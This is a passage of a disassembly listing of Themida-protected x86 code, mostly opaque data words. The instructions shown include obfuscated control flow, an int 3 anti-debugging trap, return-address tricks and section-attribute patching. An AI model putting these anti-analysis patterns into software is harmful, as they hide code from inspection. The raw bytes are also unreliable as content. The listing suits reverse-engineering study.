1AC4CC5Bh loc_5B561F: ; CODE XREF: Themida_:005B560Aj mov edi, [ebp+61424F9h] jmp loc_5B5633 ; --------------------------------------------------------------------------- dw 9B32h ; --------------------------------------------------------------------------- dec eax xor eax, [ecx] jmp short loc_5B5661 ; --------------------------------------------------------------------------- db 0E9h, 0BCh ; --------------------------------------------------------------------------- loc_5B5633: ; CODE XREF: Themida_:005B5625j jmp loc_5B5649 ; --------------------------------------------------------------------------- dd 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh ; --------------------------------------------------------------------------- popf loc_5B5649: ; CODE XREF: Themida_:loc_5B5633j add edi, [edi+3Ch] jp loc_5B5653 cld loc_5B5653: ; CODE XREF: Themida_:005B564Cj add edi, 0F8h jmp loc_5B566A ; --------------------------------------------------------------------------- sub al, 0E2h aas loc_5B5661: ; CODE XREF: Themida_:005B562Fj int 3 ; Trap to Debugger push 778C3536h loopne near ptr loc_5B56DD+5 ; --------------------------------------------------------------------------- db 19h ; --------------------------------------------------------------------------- loc_5B566A: ; CODE XREF: Themida_:005B5659j mov dword ptr [edi+24h], 60000020h clc loc_5B5672: ; CODE XREF: Themida_:005B5519j lea ebx, [ebp+6141135h] jnp loc_5B5683 pusha push edi pop ebx clc popa loc_5B5683: ; CODE XREF: Themida_:005B5678j mov eax, [ebx] jp loc_5B568C cld loc_5B568C: ; CODE XREF: Themida_:005B5685j or eax, eax jz loc_5B56D8 jmp loc_5B56AA ; --------------------------------------------------------------------------- db 0D5h, 8, 2 dd 3087F21Ah, 9690F5h, 3A3C5938h db 30h, 8Eh ; --------------------------------------------------------------------------- loc_5B56AA: ; CODE XREF: Themida_:005B5694j mov eax, [eax] jmp loc_5B56BD ; --------------------------------------------------------------------------- db 0CFh, 93h, 80h dd 4F5AC06Eh, 0F83BEDFEh ; --------------------------------------------------------------------------- xchg eax, edi loc_5B56BD: ; CODE XREF: Themida_:005B56ACj mov [ebx+4], eax jg loc_5B56D8 jmp loc_5B56D8 ; --------------------------------------------------------------------------- db 99h dd 0E27CC865h, 8ABC08EFh, 0CEE74DD1h ; --------------------------------------------------------------------------- loc_5B56D8: ; CODE XREF: Themida_:005B568Ej ; Themida_:005B56C0j ... mov ecx, 234CF6h loc_5B56DD: ; CODE XREF: Themida_:005B5667j lea ecx, [ebp+61ACBDCh] mov esi, [ebp+6143445h] mov [ebp+6143229h], ecx push 0 push ecx call sub_5B56FA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B56FA proc near ; CODE XREF: Themida_:005B56F2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B56FA endp ; --------------------------------------------------------------------------- push ds mov esi, [ebp+6142B4Dh] mov dword ptr [ebp+614064Dh], 658Ch push 0 push edx call sub_5B5726 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5726 proc near ; CODE XREF: Themida_:005B571Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B5726 endp ; --------------------------------------------------------------------------- dw 50F4h dd 0EE9F7h, 14220000h, 102AAEA5h, 3672A082h, 0B9BB5D9Fh dd 267185C7h, 614h, 5E90000h, 1F000000h, 0C295F1B6h, 2111B5FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 2B16EBC3h, 0D1AB17D0h, 293384FCh, 142661B5h dd 6195FF06h, 0E9061423h, 0Ch, 0B0775C70h, 2D798CB7h, 41340172h dd 68F0Fh, 958B0000h, 6142B05h, 95FF006Ah, 6141169h, 29EBC08Bh dd 315ADA54h, 501453Fh, 6D439BCBh, 0EE143D7Dh, 0E39645C2h dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h dd 0BC8D8D2Fh, 6A061ACCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 3543C351h, 8D89E0F7h dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 53C35040h, 64D85C7h, 62B00614h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 7683B6C3h, 607A7756h, 615A5760h, 6830Fh, 958B0000h dd 6142B45h, 2DB58961h, 0C706141Ah, 14267185h, 6, 65952900h dd 0FF061423h, 140591B5h, 849CBA06h, 95FF22A5h, 6142361h dd 95FF006Ah, 6141169h, 7FEBC08Bh, 81F10A85h, 93CF64Bh dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h, 1602ECC5h dd 0F3FB98BCh, 1E0D2111h, 7B0A076Ah, 98F35457h, 53951878h dd 97F9609h, 7729371Ah, 0AFD77ED7h, 8C83941Eh, 3C6822C5h dd 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h, 9B985C03h dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h, 0CC5F8E54h dd 0BF2B9308h, 0CAEA5AADh, 0F91B2736h, 6AE03203h, 8D8436E9h dd 1ACDEC8Dh, 89F98B06h, 1432298Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 81B48019h dd 85C760B6h, 614064Dh, 6348h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 82C35040h, 2DB74BAh, 31452F7Bh dd 0C7F18B66h, 14267185h, 6, 0D8B70F00h, 0FFF7BF0Fh, 14220DB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 9589A8E7h, 61420F1h, 0FFC2B70Fh, 14236195h dd 8BCB8006h, 95FF006Ah, 6141169h, 7EEBC08Bh, 0C239B284h dd 95075B56h, 5AEC6B8h, 0B2F7F7A2h, 0D847995Ah, 0F17F8E34h dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0C8368563h dd 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0F95EB5B6h, 0D46E0CE8h dd 974BF0CAh, 0C3368ECDh, 19FFCFh, 6865F965h, 3EE8EB19h dd 66915C0Ah, 0B3A9D802h, 0BE7E8C66h, 1B13C697h, 0EAF07C5h dd 5B27892h, 544DECBEh, 6AE8D7D1h, 0B7902A1h, 26798721h dd 27E97B13h, 1A000000h, 69DE2Eh, 8 dup(0) dd 47E90000h, 6800000Bh, 61AD022h, 0FA781DE9h, 0D14968FFh dd 13E9061Ah, 68FFFA78h, 61AD2DDh, 0FA7809E9h, 0D3E868FFh dd 0FFE9061Ah, 68FFFA77h, 61AD59Eh, 0FA77F5E9h, 0D76E68FFh dd 0EBE9061Ah, 68FFFA77h, 61AD891h, 0FA77E1E9h, 254DBFFFh dd 0A8C24054h, 2D3DC3D7h, 0AFB9485Ch, 363CCADEh, 0BEAB5065h dd 45592A48h, 0CDE1B2BEh, 53673838h, 89EBBCACh, 0C814A844h dd 39973047h, 4226D9E9h, 0AEBA4589h, 36F97EBh, 0D2FE624Ah dd 91F5174Fh, 7246C700h, 0FA96595Ah, 34105311h, 6D030054h dd 0E73A73B4h, 79119D56h, 0B304112h, 11A541F7h, 8C304113h dd 6DB16AFBh, 0D81BD494h, 96E872F4h, 882B3630h, 356FA731h dd 0A9A31EE1h, 50FA7CB6h, 4B78B142h, 2Fh, 1194Dh, 2068A13Dh dd 0B5ED3410h, 17866FBFh, 94710575h, 6924BDCh, 30417A6Eh dd 0D79ADC42h, 6FA79D34h, 0D427h, 23E03400h, 0D996144Dh dd 16894226h, 0F963F793h, 0DF52A2Ch, 0C063A45Dh, 4649B2Fh dd 8DD10A4Bh, 0FC40F979h, 4EA26503h, 1881BAB8h, 6C3D2BD4h dd 2C05C210h, 4127D82Ah, 0EAA2D70h, 2A2CFD7Ah, 0E72B64F5h dd 93975018h, 34B77A7Bh, 2CFE0498h, 0FD6B962Ah, 1D90C95Ah dd 1023B081h, 5324B534h, 0A366677Fh, 27CEA507h, 884BDC3Ah dd 0CFA0D234h, 0D96D098Ch, 542A2FA2h, 0C0468AC3h, 0A692E9B2h dd 9C17E0B9h, 93B4Eh, 6111FB00h, 0E4867C90h, 6901FF13h dd 0EB7D8498h, 7200061Ah, 0FA578CA1h, 8195660Ch, 91DEE82h dd 8FA374FCh, 0C527F870h, 0C950E480h, 6DCB3047h, 452DD91Dh dd 12AE3174h, 2A2CF97Eh, 0F3377001h, 488B5C0Ch, 0BCA04950h dd 70A9AD4Fh, 119F2h, 5119E93Dh, 0AB1E5798h, 101FD60Fh dd 510A9B34h, 41142DC5h, 68BC0130h, 0A0C52D9Eh, 2FB0F590h dd 95D1659Eh, 0A7FD29CCh, 6CDED66Fh, 0B8C129EEh, 0E8A1C738h dd 0B0DD16A7h, 0E1h, 9B26D9B2h, 2F16CF7Bh, 0A96CFDEFh dd 3F0E8CB1h, 0FF3876FEh, 0BEB45296h, 0C43E9205h, 93E16DA6h dd 762A2C54h, 0FA8EE422h, 0E5296208h, 3A7D4E1Ah, 195220E6h dd 853E2AD5h, 0A5686981h, 3832CE22h, 2D44C85Ch, 1EB2432Ah dd 8ECF88E2h, 7546E255h, 0F834106Ah, 4B059935h, 0F7883041h dd 0A9C19566h, 0C662E5A8h, 30414B32h, 0BA4EEAADh, 3530414Ah dd 67DA13A4h, 28075ACBh, 8FB8F3Ah, 0DD6EAF68h, 0BE43971Ah dd 801159A7h, 6F030347h, 0F67C8A9Eh, 0B9EA382Dh, 9CEA65E0h dd 814h, 0B788EA22h, 3A0B5FA3h, 0BF90DA26h, 411256ABh dd 0C899D92Dh, 0E5210EB3h, 5BA8BC8Dh, 0D5304415h, 49B6CA9Bh dd 0A7EC4E1Fh, 47CA770Bh, 4494F230h, 0C0AA56AAh, 0AFC34387h dd 8C35CADEh, 11A271CFh, 29FA8BE4h, 4226D9DBh, 2C1E1689h dd 11156932h, 5756C7FFh, 459BEF19h, 3137C80Ch, 73748C60h dd 0CCC314B0h, 35C63410h, 0A1C7387Ch, 2243BCD0h, 0F9778CE1h dd 0DA6EAF68h, 0FCB5462Ch, 0F6E7F770h, 98DE32B9h, 0B5B34CA0h dd 0A1C7387Ch, 2543BCD0h, 0D947E06Ch, 0DB1EAB7Fh, 0DA28BC58h dd 12A3AB7Fh, 362145D9h, 0BACE9FC9h, 0DE6A2345h, 0AB7FDA41h dd 0E077EFC5h, 6478491Fh, 80F5269Bh, 0B95E44C0h, 0FE8F2048h dd 4E1AE73Bh, 90A8AC15h, 8A78CC8Fh, 18B427E0h, 0A8DA8D84h dd 0ACE57607h, 0B1389D39h, 0C455B2BDh, 0A95CB0F3h, 11824020h dd 36C79B6Dh, 0E0E1F9FDh, 0A334811Dh, 0C519ACC9h, 34783141h dd 0D50E9FD1h, 8F23BF82h, 0AA8DA92h, 0A32FE879h, 0A8DA930Ah dd 75FC7AE0h, 0E840B1D2h, 3F3C5h, 41C4C700h, 6124253Dh dd 0F9AE42DEh, 0F9312A2Ch, 8DA823E5h, 3D7607F1h, 0CF347CAh dd 2962A35Ch, 10B4DC9Dh, 4820B134h, 306622FAh, 0B45C74AFh dd 7A958D8h, 19DC6DC1h, 2B05347Dh, 0CF8819BBh, 75FB085Ch dd 0C1BB123Dh, 0E51EEDE4h, 5C8C9E1h, 218B2669h, 0C78A1BB5h dd 31714C44h, 0F9C23F04h, 0E5837CC0h, 69FF0014h, 0A2F6A1A0h dd 1967E267h, 680h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh dd 3B80E2B3h, 47CC0B9Fh, 0E0308E30h, 3D000119h, 0F98A1EBAh dd 74052A2Ch, 0DB2CC83Bh, 4E341001h, 3FC004BDh, 0EB6E6629h dd 5A9DAACFh, 4D75DE17h, 76F93F37h, 417C46DAh, 0CA35C930h dd 13A4E59Eh, 0BDBED6DAh, 840D5EFAh, 0EF803A24h, 89B1A92Ch dd 0F7D83C99h, 0A7B04420h, 9A2B2A2Dh, 4DFF0062h, 85BE265Ch dd 0EDC9C104h, 64F9806Fh, 40D47033h, 0BB2A2D8Bh, 52ADF12Ah dd 31C561E4h, 0AC2A2D8Bh, 8AAB3F1Bh, 9D2E2A2Dh, 0F00F530Ch dd 5CC0BF78h, 0B6B24D1Ah, 19AAA2E5h, 0F1D3DCDFh, 0CF72ACE5h dd 0C2699321h, 2B4h, 119C4h, 9C66BA3Dh, 690995CEh, 1C3417CBh dd 9274C88Bh, 0BFB0FE0h, 3DCE9C64h, 43BD1184h, 0C362EE27h dd 263047C7h, 4406712Eh, 70A9A56Fh, 0CC95D32Ch, 195EAE93h dd 75F341BCh, 0C1000005h, 4256274Bh, 0C5D9AAC0h, 4A5E2F3Bh dd 0CCE0B1B7h, 5267383Ah, 2C46C0ADh, 0B4BC475Bh, 3A36CFE3h dd 0BEAA5569h, 0AA468BEDh, 3047CD16h, 0AAEB3B99h, 6BFA956h dd 70293FC2h, 61659E2Fh, 0E9854849h, 3417CB49h, 7FF2AB3Ch dd 0D396DA2Bh, 47C7A337h, 5C952630h, 0B081E718h, 4205639Ch dd 0C78F23BFh, 760A3047h, 0B94DDE8Ch, 83EC254Dh, 0EFA8C03Fh dd 4EEA8CF0h, 0C79B2FCBh, 8D1E3047h, 0D2EF1054h, 0C44256D3h dd 0A467F8D0h, 0EEF18521h, 0DB6C3047h, 741721A2h, 216FAE11h dd 0CF3235CDh, 0E9FE099h, 0AEDB1455h, 1CCh, 9B26D9B0h dd 194D0A42h, 39F283A4h, 8D5E0AF5h, 0DDA0A1B9h, 3AF37789h dd 0B14DC0F9h, 341102C8h, 264AB90Dh, 3BD79AEDh, 3041E1A7h dd 3D009122h, 0E9541A45h, 1AB6ABF2h, 3041D486h, 0AEE77809h dd 0D521B945h, 4EB33041h, 0E91D611Ah, 0E135D089h, 0AFD02E85h dd 0ED023F85h, 0C2A40A5Ch, 0B347E366h, 363041ABh, 8F326CA5h dd 826FA7CAh, 44h, 0AC56AA84h, 92D82ABEh, 393D5559h, 0A7E8A1C9h dd 7CD05316h, 8622E583h, 2A2CF9F2h, 17A3DC6Dh, 34101FDEh dd 0CD5912A3h, 30411435h, 9670C409h, 20DF23DCh, 0EA7EB748h dd 3642E58Ch, 0A0356FA7h, 37000000h, 894226D9h, 0F8B1C145h dd 641D4BB4h, 0B889DF20h, 2C060E5Ch, 0FA095D2Ah, 346961CFh dd 5BECE07Ch, 0F9DBBAA2h, 2B3C7Ah, 0DF2366Fh, 9EB68A5Bh dd 473EDA9Dh, 0A2341419h, 7DB6B44Eh, 82D6992Ah, 91DEE84h dd 0DD1DCEFDh, 0DC63D4D8h, 5453824Bh, 0DD58E6ADh, 3BF8Fh dd 0DD957700h, 600AF80Ch, 0E5857B8Fh, 67010014h, 0EE848296h dd 76D3081Dh, 0FD11E290h, 85996A06h, 0B1FF080h, 41A374F4h dd 0CECC60FCh, 0F14F3047h, 452DD9A1h, 29DD3174h, 0F9E77B17h dd 0D1622A2Ch, 3CC30740h, 0D90D5B2Ch, 0A3C23F26h, 0EB7C0D5Dh dd 0A03CBF32h, 2A2CFA0Ch, 6206FB8Fh, 9ED768A9h, 0F2C3A55Ah dd 4205061Eh, 0F3B318EEh, 2A6D9E47h, 92053ECFh, 10B891F6h dd 8D29EC34h, 304180F9h, 9952E374h, 4180730Dh, 0F074A30h dd 82C5D9B2h, 0EB7FB863h, 3041C8Bh, 0A03FA440h, 469A3A24h dd 0B5F6AFB9h, 0C798297Ch, 6AD63084h, 2D923ACEh, 9324B52Ah dd 37CB67DAh, 0B22A2D92h, 0D9579021h, 181026D9h, 28B321E2h dd 12A682AEh, 8D2A2DCEh, 6EB26BFCh, 3206D791h, 0BA56191Ah dd 3410FED1h, 5EEAA334h, 3041DDC6h, 0FE01559Ah, 0D99D316Ah dd 0A7FCF598h, 3CE86Fh, 19EA0000h dd 0A13D0001h, 34102068h, 8322AEDh, 5493B5FFh, 7B790DE9h dd 38D43041h, 30417BA4h, 5FF39627h, 0CE0FC8A0h, 67F3AC3Dh dd 30417BCFh, 38393DA3h, 6FA79E95h, 0E588h, 26D98A00h dd 0F9E07410h, 956A2A2Ch, 0E9F30D3h, 3559534Bh, 48F1D02Ch dd 0E8214FB4h, 0A7CB3B7Fh, 31C561E4h, 0AC2A2DCAh, 4D2F0474h dd 1BAC368Eh, 0CA3579E2h, 5EA1E59Eh, 8FDD390Ah, 92A2C66h dd 10A440F6h, 8B2A2D5Eh, 559869FAh, 9B6A0501h, 0C70B44D5h dd 4773038h, 0E0194FB0h, 46C0C4DCh, 3CD89B2Ch, 34108DE3h dd 3004D566h, 541718h, 0D29E6700h, 8E47D819h, 5A1144Dh dd 3A28050Ch, 0A9FDC051h, 144155Dh, 5B1454ADh, 699DE11Ah dd 0EC234009h, 219CE0B9h, 1EFD3h, 0ADC54700h, 303AC8DCh dd 0B5B54B5Fh, 3731D0E4h, 0BEB45266h, 4623D8EDh, 0CDE1B2C0h dd 55693A36h, 0DBEFC0B0h, 11734424h, 0D09C30CCh, 0C11F3047h dd 9E2DD971h, 0BF625433h, 0E1A435FEh, 4C9B09E9h, 79B2818Ah dd 4D1BE4F8h, 0B2AA2E7Ch, 4A0C75Ah, 2A2DF870h, 0C3225AEBh dd 0FC003943h, 9D20E3E4h, 0E20F13A5h, 73ACDE38h, 10A7AEE7h dd 0C13F9334h, 76AFF0A9h, 66D99223h, 0B14DF112h, 30418C1Dh dd 0C57E0FA0h, 27BF4B84h, 0FB30418Ch, 0ED90D195h, 0E06FA7AEh dd 0D3h, 5FB2AAE2h, 1BC42E24h, 44BBFF38h, 0DF276B24h, 4EDA93h dd 7A2A2CAAh, 2820E385h, 0F81A1E57h, 5EEB952Eh, 0A02B9C9Ah dd 4155D60Fh, 0EDF1AABEh, 7511D4D5h, 3410851Ch, 0EBBF9021h dd 7004A0D3h, 0FA304164h, 1C46709h, 4164D165h, 2ABB4C30h dd 7E82D699h, 0B9F233ECh, 20D0AA46h, 0B0333A28h, 2FD88014h dd 316AFB2Ah, 78A4DDEh, 631C4CB3h, 0A78FEA22h, 0A5F097DEh dd 94DE286Ch, 1B57AFC3h, 0B9992F52h, 0CB1994E0h, 0CCh dd 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h, 10E19175h dd 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h, 0EF349667h dd 47D1BF53h, 8CDC3A30h, 565DB2AAh, 312CB730h, 2052B4F8h dd 0A4C43B4Fh, 0C43C90D3h, 0D9EF6DA6h, 45894226h, 9DDAEBAh dd 912DF0F1h, 3417CBEDh, 246FF90h, 869A6BFDh, 0B9484879h dd 0BE4454C9h, 0AE8742Dh, 0B9A07C57h, 0A9560165h, 46894318h dd 7C0DCA9Fh, 0EF1468ABh, 0C487C881h, 0BF49428h, 4D861794h dd 0B972F609h, 0A5358C75h, 3B9070FDh, 7509A568h, 0F8940B6Ch dd 0F51DD667h, 0E7340800h, 6FE5FD35h, 93C4A236h, 172BFC6Ch dd 1EB24EE8h, 0A1940B98h, 53C67F10h, 316A06FFh, 3E3h, 1BAB1300h dd 863F33D9h, 0F2ABBD42h, 601957AEh, 0D089E71Ch, 3FF87A8Ch dd 0AE670BFBh, 18D1976Ah, 853E2CD4h, 0F0A9C141h, 736568EAh dd 2C890000h, 4EC8324h, 68243C89h, 1081h, 68241C89h, 61ACEE6h dd 83243C8Bh, 8B5404C4h, 0C481241Ch, 4, 4EC81h, 4890000h dd 8B824h, 0D8010000h, 0FF583889h, 815B2434h, 4C4h, 243C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55D2A6 ; --------------------------------------------------------------------------- align 2 sbb eax, 0B8F5481Dh sbb cl, 1Ah push es add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 10h dd 5A5ACF7Fh, 7F2D5533h, 2D0F3478h, 284F3B7Bh, 0B6755688h dd 434E307h, 234CE99Fh, 1B6DE3E6h, 0F55152D9h, 977125Fh dd 9011D5F1h, 0DA4B2324h, 0E81B1B33h, 12h, 7F0EB223h, 0DAD63271h dd 9D360034h, 1572D9E4h, 0C38BB534h, 0FE85Fh, 980B0000h dd 2A442620h, 5D012DCEh, 0DFE0AD7Dh, 0F18B66BCh, 16C78158h dd 0B6000071h, 0F014BB40h, 0EB8105ACh, 5ACD407h, 0CE960h dd 0C14E0000h, 438A0632h, 0D4035B92h, 8E90A49h, 0D4000000h dd 15D5E389h, 617E557Dh, 0FE90F8Bh, 0BC000000h, 2D62A9Ch dd 735EEFE8h, 0A2824AB4h, 0F181E79Eh, 48837070h, 42C181F5h dd 0F7DB6CBh, 580h, 0DC09B800h, 0F1812B7Fh, 46AAE659h dd 5E1F90BEh, 0BA66513Eh, 78F18C6h, 6840Fh, 0C6810000h dd 28373190h, 0B604EF83h, 1EB8181h, 0F000000h, 1585h, 0C28B6600h dd 21E9h, 1FF75A00h, 40F37CC7h, 6E95B527h, 8166EE83h, 0E918CCD6h dd 0FFFFFF84h, 454264AAh, 49D16h, 8D8D8366h, 61ADB82h dd 88A0Fh, 81500000h, 0A02BE1C6h, 8D895A03h, 6143229h dd 64D85C7h, 71A00614h, 0E6800000h, 7185C795h, 61426h dd 8B000000h, 1426819Dh, 14E806h, 0D8030000h, 0FB393D80h dd 0B3C05DA2h, 89AE426Fh, 92327535h, 9D016BB4h, 6140AD1h dd 11B5FF58h, 0F061421h, 95FFC7BFh, 6142361h, 23A1BD8Bh dd 6A0614h, 116995FFh, 0C08B0614h, 0BADD29EBh, 0A80AC225h dd 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h, 0AB50184Dh, 0CF6DB88h dd 0BDA0F35Ch, 113E312Bh, 655AB646h, 0E8A26A4Bh, 14h, 20175F1Fh dd 0AE37696Fh, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah, 9018D89h dd 815E0614h, 6F49C6h, 0C6BF0F00h, 0B9h, 1DBD2900h, 8B06140Ch dd 8B0F0E1Ch, 0 dd 0BE4DEB81h, 830F22B1h, 6, 0A499533h, 0EB810614h, 4F463E3Eh dd 3860Fh, 0BF0F0000h, 15F381FBh, 89711526h, 1406618Dh dd 8FF95306h, 0B5010E04h, 6140549h, 8E58D89h, 0E9830614h dd 0E99D8904h, 81061434h, 0FF9144F9h, 0A4850FFFh, 89FFFFFFh dd 143501B5h, 0EE806h, 0FD680000h, 7C2F3CDCh, 0B136FC1Bh dd 53A5338Ch, 6840F59h, 89000000h, 1409D185h, 3FC18106h dd 0E9000061h, 0Ah, 523CB1C6h, 2D8C4B47h, 26BBEEE7h, 0F000018h dd 398BF2BFh, 0C7D8529h, 0EF810614h, 0D5CFF31h, 0CEE2C781h dd 8C0F519Dh, 6, 1725BD29h, 0F7810614h, 9DC0D92h, 1941B58Bh dd 39890614h, 8B03E983h, 141625B5h, 81F54906h, 1EBh, 12850F00h dd 0E9000000h, 29h, 0B9E9375Ah, 7BF01AB8h, 10747925h, 2820F6Ch dd 0B6000000h, 0FF9CE935h, 0A43EFFFFh, 473DEE69h, 0B048A2FCh dd 0E3CFD71Eh, 10E983h, 0CE230000h, 4FD1h, 2 dup(0) dd 0ADE90000h, 68000004h, 61ADDFCh, 0F9A106E9h, 0DE6068FFh dd 0FCE9061Ah, 68FFF9A0h, 61AE00Fh, 0F9A0F2E9h, 239C40FFh dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0C4AC9298h dd 0C5C0580Ch, 0F8C5125Eh, 24973F4Ch, 0D888F6D2h, 0FA00C890h dd 51F1E814h, 8DD10028h, 57E51CCEh, 4C145C84h, 5FC6046h dd 0E6D3E358h, 0C3D267B2h, 3CA6D5FDh, 5F914F6h, 5DFD1F58h dd 0D9E11F46h, 30ADFF8h, 17F60000h, 8632874Ah, 4DB3FF2Eh dd 569E42B0h, 0E5020550h, 2B7A5157h, 7770C8A0h, 401DA1D0h dd 247C2891h, 2C97EB8Ch, 0B4B52924h, 7B529A46h, 0C657B496h dd 292F5E15h, 600AFC23h, 0BE6A925Bh, 549C44B2h, 7426594Eh dd 1B638B61h, 0E133884Eh, 0BE9D204h, 351C9215h, 36283620h dd 0E000003h, 0C29FF1CEh, 7D5AAC11h, 37146655h, 0ECC91B9Eh dd 4780D2EBh, 25983F71h, 0DEDBF6D3h, 9629AF8Ch, 4C6F6744h dd 6066EEFAh, 580CC57Ah, 132C938Eh, 0ABB1F9A5h, 57EAC4CAh dd 9C64ACD4h, 58F709CFh, 0C4299D6h, 8C97C65Eh, 4320724Bh dd 377D2994h, 580CBB56h, 0E0BEFDD9h, 3EA4FD4Ah, 0D20715FFh dd 72000002h, 2603556Ah, 0E1BE10ADh, 9B78CAF1h, 502D7F3Ah dd 0ABE43687h, 8934A30Dh, 42775A37h, 0FAC513F0h, 0B00BCBA8h dd 0C4CA525Eh, 580CC5DEh, 1390F7F2h, 5D4349A5h, 7151F1E8h dd 0EEEBF249h, 0FF0AA7F8h, 38191F67h, 4257EB9Ah, 46286E1Ah dd 51580D9Ah, 0ED78132Fh, 11F8D23Bh, 1ECh, 0F7C41228h dd 0B85CD8AFh, 606C9B15h, 469E4A73h, 8157FAEh, 0CEA5EDCEh dd 7B1A9649h, 38487752h, 0FA42EE5Ch, 0E54A61F4h, 0FBA7CF57h dd 629D3B5h, 3B08DE58h, 516E6A9Ah, 86B50DB9h, 0E87D1634h dd 76F8D9ABh, 31C2A8AEh, 0AED65806h, 72197Fh, 17300000h dd 9787840h, 4B7A745Eh, 0E32BD341h, 9A93441Bh, 51CA5174h dd 0A81BDE22h, 9A6757E5h, 7DD5813Eh, 0EA19A230h, 6E4D8966h dd 1C226AC2h, 5806A836h, 428A224Ah, 2D5C6375h, 0A79B7DC3h dd 0D0A65806h, 0A5EDD003h, 6A7B99Fh, 76A5CD58h, 0F86D6624h dd 66F8D931h, 0B3B2989Eh, 933F5806h, 5E247C28h, 2E8EE36h dd 165806B4h, 0D259BFEEh, 70000000h, 0AFF7C412h, 33191FE7h dd 4751F1E8h, 0E7B3991Fh, 9FC751F1h, 0DEF90670h, 0B02633DFh dd 84525F0Bh, 2127EF37h, 51F1E83Bh, 0E7E1C7CDh, 0CDF551F1h dd 0A0B0DF07h, 0F1ECCA8Ah, 0F0CB0B51h, 57EFC69Eh, 58A78E5Eh dd 94020C3Bh, 0FDCA4ECh, 896FF5C8h, 9D51F27Fh, 3A404675h dd 57E755A1h, 0CE9BE30Bh, 8086B50Ah, 0E3E924B3h, 580934FDh dd 0FF51E911h, 3F7C5A27h, 9F858B93h, 0B3580934h, 0B9C4F38Bh dd 73C19F1Eh, 0EA3EA882h, 123F200h, 0BB210000h, 0FED5B204h dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580CC7h dd 0C5123FA6h, 812D9043h, 7C499129h, 27376657h, 0DD2F8C4Ah dd 0F7C41224h, 6E983E4Bh, 52AA5663h, 53EBD205h, 4375340Bh dd 751A3DF6h, 0EC5A3646h, 0F525FC44h, 64674C57h, 0CA9298C7h dd 0A416FC02h, 4D2A51F2h, 709F3786h, 0E610C12Ch, 5FA7CF57h dd 26784592h, 6F22E10h, 9823B358h, 37A16E46h, 894E5988h dd 8A7A8834h, 0D1000000h, 0B1F9A513h, 0EAC4BEABh, 0FCA8D057h dd 0B91FE7EFh, 53435A06h, 0E78132DBh, 9FF18921h, 13F9FFC7h dd 27580C2Eh, 11C5D0FFh, 1FF6FEAAh, 0F2D48E0Dh, 0FF437262h dd 21D53640h, 0B521EE06h, 8B4D5A06h, 1B6D9C34h, 0AA11C57Fh dd 605B7B58h, 8B2EA7B4h, 8BFF6C43h, 336893E0h, 0A3459A04h dd 7D894DE7h, 61B96554h, 3C9A77C9h, 0A560377Fh, 216E7E2Fh dd 8B990332h, 11h, 6C4ECC3h, 0D1553FA5h, 5EE4BBA2h, 4C7B4291h dd 0F5CA1265h, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 895233B8h dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 4D0C68h dd 243C8900h, 4E5168h, 240C8900h, 1ADD2E68h, 243C8B06h dd 4C481h, 8B540000h, 0C483240Ch, 8BA5204h, 81000000h dd 1E1993EAh, 81CA012Bh, 1E1993C2h, 5A3A892Bh, 592434FFh dd 0FF04C483h, 835F2434h, 68E904C4h, 7FFF99Ch, 3F784544h dd 1AE157B8h, 0FFC50306h, 6A7B87E0h, 3B177909h, 97222667h dd 3DF8134Dh, 3EE97B1Dh, 99F43E62h, 0E888BB79h, 380A8014h dd 0DF3F862Bh, 54959E68h, 0F28D8D3Bh, 6A061AE2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 637C356h, 32298D89h, 95330614h, 6140BB5h, 64D85C7h dd 64280614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0C77BCAC3h, 14267185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 113DE840h, 99BD33CBh, 60061421h, 0A58D8960h, 8B061425h dd 141D898Dh, 85296106h, 61400F5h, 91B5FF61h, 6A061405h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C10C351h, 